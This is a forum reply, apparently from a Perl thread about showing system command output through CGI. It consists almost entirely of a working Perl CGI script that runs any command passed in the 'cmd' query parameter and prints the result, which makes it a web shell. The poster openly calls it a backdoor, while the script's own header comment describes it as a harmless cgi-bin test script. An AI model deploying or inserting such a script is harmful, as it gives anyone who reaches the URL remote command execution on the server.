One quick and dirty hack... This is a seriously hideous backdoor if you leave it on a public server. Remember you "command" start in the CGI directory. So you'll want to start with "cd /someplace && somecommand" of course, if you're web server is properly chroot'd, you can't do much with this. 
#!/usr/bin/perl
# test.cgi
#   A simple test script used to see if a a cgi-bin problem
#   exists.

print "Content-type: text/html\n\n";


$cmd = $ENV{'QUERY_STRING'};
$cmd=~s/^cmd=//;
$cmd=~tr/+/ /;
$cmd=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

print <<EOF
<form action="/cgi-bin/command.cgi" method="get">
<input type="text" size="80" name="cmd" value="$cmd" />
</form>
EOF
    ;

print ('command: '.$cmd."<br />\n");

print("<pre>");

$fh = 'FOO';
if ( !open($fh, $cmd.'|') )
{
    print 'error: '.$!."<br />\n";
    exit(0);
}

while ( <$fh> )
{
    print $_;
}

print("</pre>");
exit(0);

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In reply to Re: using CGI to output a system command by shriken
in thread using CGI to output a system command by drock

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